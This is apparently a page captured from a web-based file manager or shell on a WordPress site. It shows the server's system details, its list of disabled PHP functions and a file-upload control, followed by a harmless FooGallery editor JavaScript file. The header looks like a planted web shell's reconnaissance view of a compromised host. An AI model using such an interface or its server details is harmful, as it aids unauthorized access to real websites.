HEX

Warning: set_time_limit() [function.set-time-limit]: Cannot set time limit - prohibited by configuration in /home/u547966/brikov.ru/www/wp-content/plugins/admin-menu-editor/menu-editor.php on line 745
Server: Apache
System: Linux 4.19.0-0.bpo.9-amd64 x86_64 at red40
User: u547966 (5490)
PHP: 5.3.29-mh2
Disabled: syslog, dl, popen, proc_open, proc_nice, proc_get_status, proc_close, proc_terminate, posix_mkfifo, chown, chgrp, accelerator_reset, opcache_reset, accelerator_get_status, opcache_get_status, pcntl_alarm, pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wifcontinued, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_dispatch, pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_exec, pcntl_getpriority, pcntl_setpriority
Upload Files
File: /home/u547966/brikov.ru/www/wp-content/plugins/foogallery/js/admin-foogallery-editor.js
//

(function(FOOGALLERY, $, undefined) {

	FOOGALLERY.loadGalleries = function() {
		$('.foogallery-modal-wrapper .spinner').addClass('is-active');
		$('.foogallery-modal-reload').hide();
		var data = 'action=foogallery_load_galleries' +
				'&foogallery_load_galleries=' + $('#foogallery_load_galleries').val() +
				'&_wp_http_referer=' + encodeURIComponent($('input[name="_wp_http_referer"]').val());

		$.ajax({
			type: "POST",
			url: ajaxurl,
			data: data,
			success: function(data) {
				$('.foogallery-attachment-container').html(data);
				FOOGALLERY.clearSelection();
			},
			complete: function() {
				$('.foogallery-modal-wrapper .spinner').removeClass('is-active');
				$('.foogallery-modal-reload').show();
			}
		});
	};

	//hook up the extensions search
	FOOGALLERY.bindEditorButton = function() {
		$(document.body).on('click', '.foogallery-modal-trigger', function(e) {
			e.preventDefault();
			//set the active editor
			FOOGALLERY.activeEditor = $(this).data('editor');
			$('.foogallery-modal-wrapper').show();
			if ( $('.foogallery-modal-loading').length ) {
				FOOGALLERY.loadGalleries();
			} else {
				FOOGALLERY.clearSelection();
			}
		});
	};

	FOOGALLERY.bindModalElements = function() {
		$(document.body).on('click', '.media-modal-close, .foogallery-modal-cancel', function(e) {
			$('.foogallery-modal-wrapper').hide();
		});

		$(document.body).on('click', '.foogallery-modal-reload', function(e) {
			e.preventDefault();
			FOOGALLERY.loadGalleries();
		});

		$(document.body).on('click', '.foogallery-gallery-select', function(e) {
			var $this = $(this);
			if ( $this.is('.foogallery-add-gallery') ) {
				//if the add icon is click then do nothing
				return;
			} else {
				$('.foogallery-gallery-select').removeClass('selected');
				$(this).addClass('selected');
				FOOGALLERY.changeSelection();
			}
		});

		$(document.body).on('click', '.foogallery-modal-insert', function(e) {
			e.preventDefault();
			if ( $(this).attr('disabled') ) {
				return;
			}
			var shortcode_tag = window.FOOGALLERY_SHORTCODE || 'foogallery',
					shortcode = '[' + shortcode_tag + ' id="' + $('.foogallery-gallery-select.selected').data('foogallery-id') + '"]';

			var editor = tinyMCE.get(FOOGALLERY.activeEditor);
			if (editor) {
				editor.execCommand('mceInsertContent', false, shortcode);
			} else {
				wp.media.editor.insert(shortcode);
			}

			$('.foogallery-modal-wrapper').hide();
		});
	};

	FOOGALLERY.changeSelection = function() {
		var selected = $('.foogallery-gallery-select.selected');
		if (selected.length) {
			$('.foogallery-modal-insert').removeAttr('disabled');
		} else {
			$('.foogallery-modal-insert').attr('disabled', 'disabled');
		}
	};

	FOOGALLERY.clearSelection = function() {
		$('.foogallery-gallery-select').removeClass('selected');
		FOOGALLERY.changeSelection();
	};

	$(function() { //wait for ready
	});

	FOOGALLERY.bindEditorButton();
	FOOGALLERY.bindModalElements();
	FOOGALLERY.activeEditor = 'content';

}(window.FOOGALLERY = window.FOOGALLERY || {}, jQuery));